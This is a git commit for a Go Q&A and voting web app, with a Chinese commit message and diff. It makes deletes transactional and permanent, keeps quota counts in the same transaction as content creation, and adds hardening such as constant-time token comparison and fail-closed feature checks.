fix(data): 删除改成一个事务且真删、配额与内容同事务
四类问题都出在「多次独立写入 + 失败只打日志」这个模式上。
1) 删除投票的级联没有事务(route/user/vote.go)
选项 / 表单字段 / 提交记录 / 投票本体是 4 次独立写入,前 3 步失败只 Warn。
中途失败会留下「选项没了但票还在」这种界面无法修复的状态 —— 重试删除时
投票已不存在,只能报 not exist,脏数据永远留着。
→ db.Votes.DeleteWithCascade:四张表在同一事务里删完。
2) 删除其实是软删除,个人数据没真删掉
模型都嵌了 dbutil.Model(含 DeletedAt),原来所有 Delete 都是软删:
提交记录里参与者填写的文本、voter_ip、voter_token,以及提问里的 FromIP,
只是「界面上看不见」,库里永久留着。用户点删除的预期不是这样。
软删还会占住 link_token 唯一索引,删过的链接永远不能复用。
→ 删除投票与删除提问统一 Unscoped 真删;提问的追问/图片关联/配额回退
原来也是三个独立写入(失败只 Warn),一并收进事务。
3) 配额计数会永久偏低
「创建内容」与「quota_count+1」是两次写入,后者失败只 Warn:
箱主看到的「已收集 7/10」偏小,达到上限后因为计数偏小实际还能继续收,
等于定量收集被静默绕过;重置计数也校准不回来(重置是把计数清零,更脱节)。
→ 抽出 incrementQuotaTx(tx, userID, feature, delta) 作为唯一实现,
提问 Questions.Create、私聊 CreateWithFirstMessage、投票提交
VoteSubmissions.Create(新增 QuotaUserID)都在自己的事务里完成 +1。
注意口径:投票的定量收集是「累计收到的票数」(提交成功时 +1),
不是「创建了几个投票」—— 所以删除投票不回退这个计数。
4) 改写追问回答每次都发通知邮件
箱主改措辞、补一句、修错别字都会重新保存,每次都发的话提问者会连着收到
好几封一模一样的「您的提问有回复」。主回答那边早有 question.Answer == ""
的判定,追问这里补齐:UpdateAnswerByID 在事务内读旧值返回 wasFirst。
顺带:
- isQuestioner 的 token 比较从 == 改为 subtle.ConstantTimeCompare,
与 Pager 中间件里的校验同口径(== 按字节短路,可用响应时间逐字节试探)。
- CSV 导出的表头(字段名)与选项内容列补 sanitizeCSVCell。原来只有数据列走它,
而选项名同样可能是 =HYPERLINK(...) 形式;判断也改成看 trim 后的首字符。
- 写路径的功能开关改 fail-closed:新增 db.FeatureStateOfStrict,读配置失败时
拒绝而不是回退默认配置 —— 提问/投票的默认值是「开启」,fail-open 等于让一次
数据库抖动绕过箱主设的关闭与定量上限。读展示仍用宽松版。
验证:全量单测(带 DB)与 go build ./... 通过;verify_round3 6/6(私聊
message_count 与实际消息数一致)、verify_p1 4/4、verify_round2 19/19、
verify_page_next 6/6、verify_chat_owner 3/3。
This commit is contained in:
@@ -124,6 +124,13 @@ func (db *conversations) CreateWithFirstMessage(
|
||||
UpdateColumn("message_count", gorm.Expr("message_count + 1")).Error; err != nil {
|
||||
return errors.Wrap(err, "increment message count")
|
||||
}
|
||||
|
||||
// 私聊定量收集:新建会话即计一条(后续往来消息不重复计数)。
|
||||
// 放在事务里而不是 handler 里:原来 handler 在事务之后调 IncrementQuota 且
|
||||
// 失败只打 Warn,会话建成了但计数没加,箱主的「已收集」偏少、上限被绕过。
|
||||
if err := incrementQuotaTx(tx, opts.OwnerID, FeatureChat, 1); err != nil {
|
||||
return errors.Wrap(err, "increment chat quota")
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -360,6 +360,26 @@ func FeatureStateOf(ctx context.Context, userID uint, feature string) FeatureSta
|
||||
return fc.Evaluate(time.Now())
|
||||
}
|
||||
|
||||
// FeatureStateOfStrict 与 FeatureStateOf 相同,但查询失败时返回错误而不回退默认配置。
|
||||
//
|
||||
// 给**写入路径**用。FeatureStateOf 的 fail-open 对读展示是对的(配置表抖动不该让
|
||||
// 页面白屏),但对写入是危险的:它回退到 DefaultFeatureControl —— 提问与投票的
|
||||
// 默认值是「开启」,于是箱主明明设了「已关闭」或「已达上限」,只要这次读配置失败
|
||||
// 就被放行,等于定量收集与功能开关都能被一次数据库抖动绕过去。
|
||||
// 与审核链路「不可用即拒绝」同一口径。
|
||||
func FeatureStateOfStrict(ctx context.Context, userID uint, feature string) (FeatureState, error) {
|
||||
if FeatureControls == nil {
|
||||
// 未装配(测试 / 部分初始化):沿用默认配置,否则所有写路径都会失败。
|
||||
return DefaultFeatureControl(userID, feature).Evaluate(time.Now()), nil
|
||||
}
|
||||
fc, err := FeatureControls.Get(ctx, userID, feature)
|
||||
if err != nil {
|
||||
logrus.WithContext(ctx).WithError(err).Errorf("Failed to get feature control %q of user %d", feature, userID)
|
||||
return FeatureState{}, errors.Wrap(err, "get feature control")
|
||||
}
|
||||
return fc.Evaluate(time.Now()), nil
|
||||
}
|
||||
|
||||
// FeatureOpen 便捷入口:某用户某功能当前是否可用。
|
||||
func FeatureOpen(ctx context.Context, userID uint, feature string) bool {
|
||||
return FeatureStateOf(ctx, userID, feature).Open
|
||||
@@ -487,11 +507,22 @@ func (db *featureControls) ResetQuota(ctx context.Context, userID uint, feature
|
||||
// IncrementQuota 累加收集计数(delta 可为负,用于删除内容时回退计数)。
|
||||
// 负 delta 不会把计数减到 0 以下(WHERE quota_count > 0),避免误删历史内容导致负计数。
|
||||
func (db *featureControls) IncrementQuota(ctx context.Context, userID uint, feature string, delta int64) error {
|
||||
return incrementQuotaTx(db.WithContext(ctx), userID, feature, delta)
|
||||
}
|
||||
|
||||
// incrementQuotaTx 是配额递增的唯一实现,接受任意 *gorm.DB(可以是事务)。
|
||||
//
|
||||
// 为什么要暴露一个「能用事务」的版本:配额与内容必须是同生共死的关系。
|
||||
// 原来「创建提问」与「quota_count+1」是两次独立写入,后者失败只打一条 Warn ——
|
||||
// 于是计数比真实行数少,箱主的「已收集 7/10」永远偏低,达到上限后仍能继续收,
|
||||
// 而重置计数也校准不回来(重置是把计数清零,与实际行数更脱节)。
|
||||
// 现在内容 store 把这一步放进自己的事务里,任一步失败整体回滚,计数天然对齐。
|
||||
func incrementQuotaTx(tx *gorm.DB, userID uint, feature string, delta int64) error {
|
||||
if delta == 0 {
|
||||
return nil
|
||||
}
|
||||
now := time.Now()
|
||||
q := db.WithContext(ctx).Model(&FeatureControl{}).
|
||||
q := tx.Model(&FeatureControl{}).
|
||||
Where("user_id = ? AND feature = ?", userID, feature)
|
||||
if delta < 0 {
|
||||
q = q.Where("quota_count > 0")
|
||||
@@ -513,7 +544,7 @@ func (db *featureControls) IncrementQuota(ctx context.Context, userID uint, feat
|
||||
fc.QuotaCount = delta
|
||||
}
|
||||
fc.QuotaResetAt = &now
|
||||
created := db.WithContext(ctx).
|
||||
created := tx.
|
||||
Clauses(clause.OnConflict{DoNothing: true}).
|
||||
Create(fc)
|
||||
if created.Error != nil {
|
||||
@@ -523,7 +554,7 @@ func (db *featureControls) IncrementQuota(ctx context.Context, userID uint, feat
|
||||
return nil
|
||||
}
|
||||
// 并发下配置行可能刚被其它请求创建:补一次累加,保证计数不丢。
|
||||
retry := db.WithContext(ctx).Model(&FeatureControl{}).
|
||||
retry := tx.Model(&FeatureControl{}).
|
||||
Where("user_id = ? AND feature = ?", userID, feature).
|
||||
Updates(map[string]interface{}{
|
||||
"quota_count": gorm.Expr("quota_count + ?", delta),
|
||||
|
||||
+27
-13
@@ -38,9 +38,10 @@ type FollowUpsStore interface {
|
||||
// AnswerByID 回答某条追问;questionID 防越权(必须属于该问题),仅允许回答尚未回答的(answer 为空)。
|
||||
// 已回答返回 ErrFollowUpAlreadyAnswered,不存在/不属于该问题返回 ErrFollowUpNotFound。
|
||||
AnswerByID(ctx context.Context, questionID uint, id uint, answer string) error
|
||||
// UpdateAnswerByID 修改某条追问的回答内容(带 question_id 条件防越权),允许覆盖已回答的(供主人修改回复)。
|
||||
// UpdateAnswerByID 修改某条追问的回答内容(带 question_id 条件防越权),
|
||||
// 允许覆盖已回答的(供主人修改回复);返回 wasFirst 表示这是首次回答(此前为空)。
|
||||
// 不存在/不属于该问题返回 ErrFollowUpNotFound。
|
||||
UpdateAnswerByID(ctx context.Context, questionID uint, id uint, answer string) error
|
||||
UpdateAnswerByID(ctx context.Context, questionID uint, id uint, answer string) (wasFirst bool, err error)
|
||||
// DeleteByQuestionID 删除某条提问时级联清理其全部追问(软删除,与提问保持一致)。
|
||||
DeleteByQuestionID(ctx context.Context, questionID uint) error
|
||||
}
|
||||
@@ -208,18 +209,31 @@ func (db *followUps) AnswerByID(ctx context.Context, questionID uint, id uint, a
|
||||
|
||||
// UpdateAnswerByID 修改某条追问的回答内容(带 question_id 条件防止越权),
|
||||
// 允许覆盖已回答的追问(用于主人修改回复)。不存在/不属于该问题返回 ErrFollowUpNotFound。
|
||||
func (db *followUps) UpdateAnswerByID(ctx context.Context, questionID uint, id uint, answer string) error {
|
||||
res := db.WithContext(ctx).
|
||||
Model(&FollowUp{}).
|
||||
Where("id = ? AND question_id = ?", id, questionID).
|
||||
Update("answer", answer)
|
||||
if res.Error != nil {
|
||||
return errors.Wrap(res.Error, "update follow up answer")
|
||||
func (db *followUps) UpdateAnswerByID(ctx context.Context, questionID uint, id uint, answer string) (bool, error) {
|
||||
var wasFirst bool
|
||||
err := db.WithContext(ctx).Transaction(func(tx *gorm.DB) error {
|
||||
// 先读旧值判断「是否首次回答」。handler 里拿不到可靠旧值:
|
||||
// 它手上的 question 是请求开始时读的,并发下可能已经过期。
|
||||
var fu FollowUp
|
||||
if err := tx.Where("id = ? AND question_id = ?", id, questionID).First(&fu).Error; err != nil {
|
||||
if errors.Is(err, gorm.ErrRecordNotFound) {
|
||||
return ErrFollowUpNotFound
|
||||
}
|
||||
return errors.Wrap(err, "get follow up")
|
||||
}
|
||||
wasFirst = fu.Answer == ""
|
||||
|
||||
if err := tx.Model(&FollowUp{}).
|
||||
Where("id = ? AND question_id = ?", id, questionID).
|
||||
Update("answer", answer).Error; err != nil {
|
||||
return errors.Wrap(err, "update follow up answer")
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if res.RowsAffected == 0 {
|
||||
return ErrFollowUpNotFound
|
||||
}
|
||||
return nil
|
||||
return wasFirst, nil
|
||||
}
|
||||
|
||||
// DeleteByQuestionID 删除某条提问时级联清理其全部追问(软删除,与提问保持一致)。
|
||||
|
||||
+78
-29
@@ -14,7 +14,6 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/pkg/errors"
|
||||
"github.com/sirupsen/logrus"
|
||||
"github.com/thanhpk/randstr"
|
||||
"gorm.io/datatypes"
|
||||
"gorm.io/gorm"
|
||||
@@ -27,6 +26,8 @@ var Questions QuestionsStore
|
||||
type QuestionsStore interface {
|
||||
Create(ctx context.Context, opts CreateQuestionOptions) (*Question, error)
|
||||
GetByID(ctx context.Context, id uint) (*Question, error)
|
||||
// ListByIDsAndUser 按 ID 批量取某箱主名下的提问(一次查询,避免 N+1)。
|
||||
ListByIDsAndUser(ctx context.Context, ids []uint, userID uint) ([]*Question, error)
|
||||
GetByUserID(ctx context.Context, userID uint, opts GetQuestionsByUserIDOptions) ([]*Question, error)
|
||||
GetByAskUserID(ctx context.Context, userID uint, opts GetQuestionsByAskUserIDOptions) ([]*Question, error)
|
||||
AnswerByID(ctx context.Context, id uint, answer string) error
|
||||
@@ -110,6 +111,12 @@ type CreateQuestionOptions struct {
|
||||
IsPrivate bool
|
||||
}
|
||||
|
||||
// Create 新建提问,并在**同一个事务**里累加箱主的提问收集计数。
|
||||
//
|
||||
// 为什么配额要和提问同事务:原来是 handler 里「先 Create、再 IncrementQuota」
|
||||
// 两次独立写入,后者失败只打一条 Warn。于是 quota_count 比真实提问数少,
|
||||
// 箱主看到的「已收集 7/10」永远偏低;而达到上限后因为计数偏小,实际还能继续收,
|
||||
// 等于定量收集被静默绕过。重置计数也校准不回来(重置是把计数清零,更脱节)。
|
||||
func (db *questions) Create(ctx context.Context, opts CreateQuestionOptions) (*Question, error) {
|
||||
question := Question{
|
||||
FromIP: opts.FromIP,
|
||||
@@ -120,7 +127,20 @@ func (db *questions) Create(ctx context.Context, opts CreateQuestionOptions) (*Q
|
||||
AskerUserID: opts.AskerUserID,
|
||||
IsPrivate: opts.IsPrivate,
|
||||
}
|
||||
return &question, db.WithContext(ctx).Create(&question).Error
|
||||
err := db.WithContext(ctx).Transaction(func(tx *gorm.DB) error {
|
||||
if err := tx.Create(&question).Error; err != nil {
|
||||
return errors.Wrap(err, "create question")
|
||||
}
|
||||
// 追问不计入配额,只算「一条提问」—— 与界面上「已收集」的口径一致。
|
||||
if err := incrementQuotaTx(tx, opts.UserID, FeatureQuestion, 1); err != nil {
|
||||
return errors.Wrap(err, "increment question quota")
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &question, nil
|
||||
}
|
||||
|
||||
type UpdateQuestionCensorOptions struct {
|
||||
@@ -169,6 +189,25 @@ func checkTextCensorResponseValid(raw json.RawMessage) bool {
|
||||
|
||||
var ErrQuestionNotExist = errors.New("提问不存在")
|
||||
|
||||
// ListByIDsAndUser 按 ID 批量取提问,且必须属于指定箱主。
|
||||
//
|
||||
// 一次 IN 查询而不是循环 GetByID,供「提问者找回自己的提问」那个接口用:
|
||||
// 浏览器里可能存着十几条记录,逐条查就是典型的 N+1。
|
||||
// 只选择判定与摘要需要的列 —— 不取审核元数据、图片、追问等无关字段。
|
||||
func (db *questions) ListByIDsAndUser(ctx context.Context, ids []uint, userID uint) ([]*Question, error) {
|
||||
if len(ids) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
var questions []*Question
|
||||
if err := db.WithContext(ctx).
|
||||
Select("id", "user_id", "token", "answer", "content", "created_at").
|
||||
Where("id IN ? AND user_id = ?", ids, userID).
|
||||
Find(&questions).Error; err != nil {
|
||||
return nil, errors.Wrap(err, "list questions by ids and user")
|
||||
}
|
||||
return questions, nil
|
||||
}
|
||||
|
||||
func (db *questions) GetByID(ctx context.Context, id uint) (*Question, error) {
|
||||
var question Question
|
||||
if err := db.WithContext(ctx).First(&question, id).Error; err != nil {
|
||||
@@ -442,37 +481,47 @@ func answerUpdates(prevAnswer, answer string, extra map[string]interface{}) map[
|
||||
return updates
|
||||
}
|
||||
|
||||
// DeleteByID 删除提问及其追问、图片关联,并回退箱主的收集计数。
|
||||
//
|
||||
// 三步在同一个事务里完成:原来删除本体后,级联清理与配额回退还各自独立执行、
|
||||
// 失败只打日志 —— 中途失败会留下「提问没了但追问还在」的孤儿记录,
|
||||
// 或者计数没退回(达上限后功能一直关闭,箱主只能手动重置)。
|
||||
//
|
||||
// 用 Unscoped 真删:用户点删除的预期就是删掉。软删只是让界面上看不见,
|
||||
// 提问里的 FromIP 与正文仍留在库里,等于「删了但没删干净」。
|
||||
func (db *questions) DeleteByID(ctx context.Context, id uint) error {
|
||||
var question Question
|
||||
if err := db.WithContext(ctx).First(&question, id).Error; err != nil {
|
||||
if errors.Is(err, gorm.ErrRecordNotFound) {
|
||||
return ErrQuestionNotExist
|
||||
return db.WithContext(ctx).Transaction(func(tx *gorm.DB) error {
|
||||
var question Question
|
||||
if err := tx.First(&question, id).Error; err != nil {
|
||||
if errors.Is(err, gorm.ErrRecordNotFound) {
|
||||
return ErrQuestionNotExist
|
||||
}
|
||||
return errors.Wrap(err, "get question by ID")
|
||||
}
|
||||
return errors.Wrap(err, "get question by ID")
|
||||
}
|
||||
|
||||
if err := db.WithContext(ctx).Delete(&Question{}, id).Error; err != nil {
|
||||
return errors.Wrap(err, "delete question")
|
||||
}
|
||||
|
||||
// 级联清理子表:追问与上传图片,避免删除提问后残留孤儿记录。
|
||||
// 直接用本 store 的 *gorm.DB 构造子 store,避免依赖包级全局单例
|
||||
// (全局单例仅在 db.Init 装配,测试/部分初始化场景下为 nil 会 panic)。
|
||||
if err := NewFollowUpsStore(db.DB).DeleteByQuestionID(ctx, id); err != nil {
|
||||
logrus.WithContext(ctx).WithError(err).Errorf("Failed to cascade delete follow ups for question %d", id)
|
||||
}
|
||||
if err := NewUploadImagesStore(db.DB).DeleteByQuestionID(ctx, id); err != nil {
|
||||
logrus.WithContext(ctx).WithError(err).Errorf("Failed to cascade delete upload images for question %d", id)
|
||||
}
|
||||
|
||||
// 回退定量收集计数:删除提问等价于少一条已收集内容,
|
||||
// 否则达上限后即便删掉旧提问,功能仍会显示 quota_reached 关闭,须手动重置计数。
|
||||
if question.UserID != 0 {
|
||||
if err := NewFeatureControlsStore(db.DB).IncrementQuota(ctx, question.UserID, FeatureQuestion, -1); err != nil {
|
||||
logrus.WithContext(ctx).WithError(err).Errorf("Failed to decrement question quota for user %d", question.UserID)
|
||||
if err := tx.Unscoped().Delete(&Question{}, id).Error; err != nil {
|
||||
return errors.Wrap(err, "delete question")
|
||||
}
|
||||
}
|
||||
return nil
|
||||
|
||||
// 级联清理子表:追问与上传图片,避免删除提问后残留孤儿记录。
|
||||
// 直接用事务句柄构造子 store(NewXStore(tx)),子操作才会落在同一个事务里;
|
||||
// 用包级全局单例在测试/部分初始化场景下还会是 nil。
|
||||
if err := NewFollowUpsStore(tx).DeleteByQuestionID(ctx, id); err != nil {
|
||||
return errors.Wrap(err, "delete follow ups of question")
|
||||
}
|
||||
if err := NewUploadImagesStore(tx).DeleteByQuestionID(ctx, id); err != nil {
|
||||
return errors.Wrap(err, "delete upload images of question")
|
||||
}
|
||||
|
||||
// 回退定量收集计数:删除提问等价于少一条已收集内容,
|
||||
// 否则达上限后即便删掉旧提问,功能仍会显示 quota_reached 关闭,须手动重置计数。
|
||||
if question.UserID != 0 {
|
||||
if err := incrementQuotaTx(tx, question.UserID, FeatureQuestion, -1); err != nil {
|
||||
return errors.Wrap(err, "decrement question quota")
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
type GetQuestionsCountOptions struct {
|
||||
|
||||
@@ -68,6 +68,9 @@ type CreateVoteSubmissionOptions struct {
|
||||
VoterIP string
|
||||
FormData datatypes.JSON
|
||||
CustomText string
|
||||
// QuotaUserID 是投票的发起人(箱主)。非 0 时在同一事务里把票数计入
|
||||
// 该用户「投票」功能的定量收集计数;为 0 表示不计数(测试/内部调用)。
|
||||
QuotaUserID uint
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -88,11 +91,26 @@ func (db *voteSubmissions) Create(ctx context.Context, opts CreateVoteSubmission
|
||||
FormData: opts.FormData,
|
||||
CustomText: opts.CustomText,
|
||||
}
|
||||
if err := db.WithContext(ctx).Create(submission).Error; err != nil {
|
||||
if isDuplicateKeyError(err) {
|
||||
return nil, ErrVoteAlreadyVoted
|
||||
err := db.WithContext(ctx).Transaction(func(tx *gorm.DB) error {
|
||||
if err := tx.Create(submission).Error; err != nil {
|
||||
if isDuplicateKeyError(err) {
|
||||
return ErrVoteAlreadyVoted
|
||||
}
|
||||
return errors.Wrap(err, "create vote submission")
|
||||
}
|
||||
return nil, errors.Wrap(err, "create vote submission")
|
||||
// 箱主级的「投票」定量收集按累计收到的票数计 —— 与创建投票无关,
|
||||
// 所以这一步只能放在提交成功这里。放在事务内的理由同提问:
|
||||
// 原来 handler 里是独立写入且失败只 Warn,跳过一票就永久少一票,
|
||||
// 达上限时自动结束投票会晚一步,箱主的「已收集」也一直偏低。
|
||||
if opts.QuotaUserID != 0 {
|
||||
if err := incrementQuotaTx(tx, opts.QuotaUserID, FeatureVote, 1); err != nil {
|
||||
return errors.Wrap(err, "increment vote quota")
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return submission, nil
|
||||
}
|
||||
|
||||
@@ -70,6 +70,8 @@ type VotesStore interface {
|
||||
Update(ctx context.Context, id uint, opts UpdateVoteOptions) error
|
||||
UpdateStatus(ctx context.Context, id uint, status string) error
|
||||
DeleteByID(ctx context.Context, id uint) error
|
||||
// DeleteWithCascade 在一个事务里真删投票及其选项、表单字段、提交记录。
|
||||
DeleteWithCascade(ctx context.Context, id uint) error
|
||||
CountByUserID(ctx context.Context, userID uint) (int64, error)
|
||||
}
|
||||
|
||||
@@ -359,6 +361,50 @@ func (db *votes) DeleteByID(ctx context.Context, id uint) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteWithCascade 删除投票及其全部关联数据(选项、表单字段、提交记录)。
|
||||
//
|
||||
// 为什么必须是一个事务:原来 handler 里是 4 次独立写入,前 3 次失败只打 Warn,
|
||||
// 于是可能留下「选项没了但票数还在」(结果页统计全 0 而提交记录占着库)、
|
||||
// 「投票没了但提交记录成孤儿」这类无法通过界面修复的状态 —— 箱主只能重试删除,
|
||||
// 而重试时 vote 已不存在,直接报 not exist,脏数据永远留着。
|
||||
//
|
||||
// 为什么是 Unscoped(真删)而不是软删:
|
||||
// 1. 用户点「删除」的预期就是删掉,不是「我还能看到但数据库里还在」;
|
||||
// 2. 提交记录里有参与者填写的文本、voter_ip、voter_token —— 软删等于把这些
|
||||
// 个人数据永久留在库里,而界面上已经看不到了,等于删了但没删干净;
|
||||
// 3. 软删还会占住 link_token 唯一索引,删过的链接永远无法复用。
|
||||
func (db *votes) DeleteWithCascade(ctx context.Context, id uint) error {
|
||||
return db.WithContext(ctx).Transaction(func(tx *gorm.DB) error {
|
||||
var vote Vote
|
||||
if err := tx.First(&vote, id).Error; err != nil {
|
||||
if errors.Is(err, gorm.ErrRecordNotFound) {
|
||||
return ErrVoteNotExist
|
||||
}
|
||||
return errors.Wrap(err, "get vote by ID")
|
||||
}
|
||||
|
||||
// 顺序:先清子表再删主表。没有外键约束(项目不用 FK),
|
||||
// 所以顺序只影响可读性;真正的保证来自事务本身。
|
||||
if err := tx.Unscoped().Where("vote_id = ?", id).Delete(&VoteSubmission{}).Error; err != nil {
|
||||
return errors.Wrap(err, "delete vote submissions")
|
||||
}
|
||||
if err := tx.Unscoped().Where("vote_id = ?", id).Delete(&VoteOption{}).Error; err != nil {
|
||||
return errors.Wrap(err, "delete vote options")
|
||||
}
|
||||
if err := tx.Unscoped().Where("vote_id = ?", id).Delete(&VoteFormField{}).Error; err != nil {
|
||||
return errors.Wrap(err, "delete vote form fields")
|
||||
}
|
||||
if err := tx.Unscoped().Delete(&Vote{}, id).Error; err != nil {
|
||||
return errors.Wrap(err, "delete vote")
|
||||
}
|
||||
|
||||
// 注意:这里**不**回退 quota_count。投票的定量收集口径是「累计收到的票数」
|
||||
// (见 route/vote/vote.go 中提交成功后 +1),不是「创建了几个投票」——
|
||||
// 删掉一个投票并不意味着那些票没发生过。箱主要腾额度靠界面上的「重置计数」。
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
// CountByUserID 统计箱主的投票总数(全部状态)。
|
||||
func (db *votes) CountByUserID(ctx context.Context, userID uint) (int64, error) {
|
||||
var count int64
|
||||
|
||||
@@ -2,6 +2,7 @@ package question
|
||||
|
||||
import (
|
||||
stdctx "context"
|
||||
"crypto/subtle"
|
||||
"fmt"
|
||||
"unicode/utf8"
|
||||
|
||||
@@ -21,7 +22,11 @@ import (
|
||||
// isQuestioner 判断当前请求者是否为该提问的提问者。
|
||||
// 匿名提问者通过 token(URL 或表单隐藏域)验证;登录提问者通过账号 ID 验证。
|
||||
func isQuestioner(ctx context.Context, question *db.Question, token string) bool {
|
||||
if question.Token != "" && question.Token == token {
|
||||
// 常数时间比较:与 Pager 中间件里的校验(route/question/question.go)同一口径。
|
||||
// 用 == 会按字节短路,攻击者能靠响应时间逐字节试探出 token ——
|
||||
// 而 token 就是「私密提问 / 尚未回答的提问」唯一的钥匙。
|
||||
if question.Token != "" && token != "" &&
|
||||
subtle.ConstantTimeCompare([]byte(question.Token), []byte(token)) == 1 {
|
||||
return true
|
||||
}
|
||||
if ctx.IsLogged && question.AskerUserID != 0 && ctx.User.ID == question.AskerUserID {
|
||||
@@ -192,7 +197,8 @@ func AnswerFollowUp(ctx context.Context, pageUser *db.User, question *db.Questio
|
||||
return
|
||||
}
|
||||
|
||||
if err := db.FollowUps.UpdateAnswerByID(ctx.Request().Context(), question.ID, followUpID, f.Answer); err != nil {
|
||||
wasFirst, err := db.FollowUps.UpdateAnswerByID(ctx.Request().Context(), question.ID, followUpID, f.Answer)
|
||||
if err != nil {
|
||||
if errors.Is(err, db.ErrFollowUpNotFound) {
|
||||
// 同请求渲染需用 SetError(SetErrorFlash 要等下一次请求才显示)。
|
||||
ctx.SetError(errors.New(i18n.T(ctx.Lang(), "followup.errNotFound")), f)
|
||||
@@ -205,9 +211,13 @@ func AnswerFollowUp(ctx context.Context, pageUser *db.User, question *db.Questio
|
||||
return
|
||||
}
|
||||
|
||||
// 邮件通知提问者(留下邮箱时):复用"您的提问有了回复"模板,带 token 链接
|
||||
// 邮件通知提问者(留下邮箱时):复用"您的提问有了回复"模板,带 token 链接。
|
||||
//
|
||||
// 只在**首次**回答时发:箱主改一次措辞、补一句、修错别字都会重新保存,
|
||||
// 每次都发的话提问者会连着收到好几封一模一样的「您的提问有回复」。
|
||||
// 主回答那边早就有同样的判定(question.Answer == ""),这里补齐。
|
||||
shared.SafeGo(func() {
|
||||
if question.ReceiveReplyEmail != "" {
|
||||
if wasFirst && question.ReceiveReplyEmail != "" {
|
||||
if err := mail.SendNewAnswerMail(question.ReceiveReplyEmail, pageUser.Domain, question.ID, question.Content, f.Answer, question.Token); err != nil {
|
||||
logrus.WithContext(stdctx.Background()).WithError(err).Error("Failed to send follow up answer mail to questioner")
|
||||
}
|
||||
|
||||
+16
-13
@@ -388,7 +388,15 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
|
||||
// 提问功能开关 / 定时 / 定量:任一条件不满足即拒绝普通提问(纵深防御,页面入口已隐藏表单)。
|
||||
// 私聊请求不受影响:提问与私聊是相互独立的功能,提问关闭不应阻断已开启的私聊。
|
||||
isChatRequest := f.StartChat == "true" && ctx.IsLogged
|
||||
askState := db.FeatureStateOf(ctx.Request().Context(), pageUser.ID, db.FeatureQuestion)
|
||||
// 用严格版:读配置失败时拒绝而不是回退默认「开启」,
|
||||
// 否则箱主设的关闭 / 已达上限只要赶上一次数据库抖动就被绕过。
|
||||
askState, err := db.FeatureStateOfStrict(ctx.Request().Context(), pageUser.ID, db.FeatureQuestion)
|
||||
if err != nil {
|
||||
// 同请求渲染:这里用户刚写完正文,不能因为一次读配置失败就把内容丢掉。
|
||||
ctx.SetInternalError(f)
|
||||
ctx.Success("question/list")
|
||||
return
|
||||
}
|
||||
if !askState.Open && !isChatRequest {
|
||||
lang := i18n.Default
|
||||
if l, ok := ctx.Data["Lang"].(string); ok && l != "" {
|
||||
@@ -419,8 +427,13 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
|
||||
return
|
||||
}
|
||||
|
||||
// 私聊功能开关 / 定时 / 定量
|
||||
chatState := db.FeatureStateOf(ctx.Request().Context(), pageUser.ID, db.FeatureChat)
|
||||
// 私聊功能开关 / 定时 / 定量(严格版,理由同上)
|
||||
chatState, err := db.FeatureStateOfStrict(ctx.Request().Context(), pageUser.ID, db.FeatureChat)
|
||||
if err != nil {
|
||||
ctx.SetInternalError(f)
|
||||
ctx.Success("question/list")
|
||||
return
|
||||
}
|
||||
if !chatState.Open {
|
||||
lang := i18n.Default
|
||||
if l, ok := ctx.Data["Lang"].(string); ok && l != "" {
|
||||
@@ -540,11 +553,6 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
|
||||
return
|
||||
}
|
||||
|
||||
// 私聊定量收集:新建会话即计一条(后续往来消息不重复计数)
|
||||
if err := db.FeatureControls.IncrementQuota(ctx.Request().Context(), pageUser.ID, db.FeatureChat, 1); err != nil {
|
||||
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to increment chat quota")
|
||||
}
|
||||
|
||||
// 请求态数据提前提取,避免 goroutine 在请求结束后访问 ctx.User
|
||||
askerName := ctx.User.Name
|
||||
askerEmail := ctx.User.Email
|
||||
@@ -670,11 +678,6 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
|
||||
return
|
||||
}
|
||||
|
||||
// 提问定量收集:一条提问计一次(含私密提问);追问不重复计数
|
||||
if err := db.FeatureControls.IncrementQuota(ctx.Request().Context(), pageUser.ID, db.FeatureQuestion, 1); err != nil {
|
||||
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to increment question quota")
|
||||
}
|
||||
|
||||
if len(f.Images) > 0 {
|
||||
image := f.Images[0]
|
||||
if err := uploadImage(ctx, uploadImageOptions{
|
||||
|
||||
+31
-20
@@ -1060,6 +1060,8 @@ func VoteClose(ctx context.Context) {
|
||||
}
|
||||
|
||||
// VoteDelete 删除投票(级联删除选项、表单字段与提交记录)。
|
||||
//
|
||||
// 实际删除动作全部在 db.Votes.DeleteWithCascade 的一个事务里完成,且是真删(Unscoped)。
|
||||
func VoteDelete(ctx context.Context) {
|
||||
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
|
||||
if err != nil {
|
||||
@@ -1068,24 +1070,24 @@ func VoteDelete(ctx context.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
if err := db.VoteOptions.DeleteByVoteID(ctx.Request().Context(), vote.ID); err != nil {
|
||||
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote options")
|
||||
}
|
||||
if err := db.VoteFormFields.DeleteByVoteID(ctx.Request().Context(), vote.ID); err != nil {
|
||||
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote form fields")
|
||||
}
|
||||
if err := db.VoteSubmissions.DeleteByVoteID(ctx.Request().Context(), vote.ID); err != nil {
|
||||
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote submissions")
|
||||
}
|
||||
// 投票已删除:失效其结果缓存(即便竞态下仍能命中也已无意义)。
|
||||
votepkg.InvalidateResultsCache(vote.ID)
|
||||
